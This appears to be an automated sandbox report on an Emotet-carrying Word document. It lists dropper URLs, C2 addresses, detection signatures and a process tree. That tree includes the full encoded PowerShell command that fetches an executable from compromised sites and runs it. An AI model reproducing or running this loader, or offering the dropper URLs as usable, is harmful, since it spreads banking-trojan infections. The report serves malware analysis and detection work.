Analysis

  • max time kernel
    60s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13/08/2020, 14:31

General

  • Target
    emotet_e2_9c4b90d3c6366d048bac579a06083e0c8cc405997c19ade21c0dd68010b5b0f6_2020-08-13__142939._doc.doc
  • Size 230KB
  • Sample200813-8726d19c56
  • SHA256 9c4b90d3c6366d048bac579a06083e0c8cc405997c19ade21c0dd68010b5b0f6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/

  • exe.dropper

    http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/

  • exe.dropper

    https://doooone.com/wp-includes/k5p7_g710j_3och/

  • exe.dropper

    http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/

  • exe.dropper

    http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/

Extracted

Family
  • emotet

C2
  • 174.102.48.180:80

  • 192.210.135.126:8080

  • 67.205.85.243:8080

  • 47.146.32.175:80

  • 116.203.32.252:8080

  • 189.212.199.126:443

  • 72.12.127.184:443

  • 180.92.239.110:8080

  • 103.86.49.11:8080

  • 181.230.116.163:80

  • 157.147.76.151:80

  • 74.120.55.163:80

  • 121.124.124.40:7080

  • 79.98.24.39:8080

  • 142.105.151.124:443

  • 167.86.90.214:8080

  • 24.179.13.119:80

  • 62.138.26.28:8080

  • 165.165.171.160:8080

  • 74.208.45.104:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9c4b90d3c6366d048bac579a06083e0c8cc405997c19ade21c0dd68010b5b0f6_2020-08-13__142939._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Users\Admin\AppData\Local\Temp\Dwfm.exe
      "C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\kbdibm02\deskperf.exe
        "C:\Windows\SysWOW64\kbdibm02\deskperf.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1032-14-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/1032-4-0x0000000006D00000-0x0000000006F00000-memory.dmp

        memory/1032-5-0x000000000ADF0000-0x000000000ADF4000-memory.dmp

        memory/1032-6-0x000000000BE70000-0x000000000BE74000-memory.dmp

        memory/1032-2-0x00000000089B0000-0x00000000089B4000-memory.dmp

        memory/1628-10-0x0000000002260000-0x0000000002261000-memory.dmp

        memory/1628-13-0x000000001A890000-0x000000001A891000-memory.dmp

        memory/1628-15-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

        memory/1628-16-0x000000001C390000-0x000000001C391000-memory.dmp

        memory/1628-12-0x0000000002340000-0x0000000002341000-memory.dmp

        memory/1628-11-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

        memory/1628-9-0x000007FEF2170000-0x000007FEF2B5C000-memory.dmp

        memory/1636-24-0x000007FEF2890000-0x000007FEF2B0A000-memory.dmp

        memory/1644-23-0x00000000003E0000-0x00000000003EC000-memory.dmp

        memory/1816-19-0x0000000000290000-0x000000000029C000-memory.dmp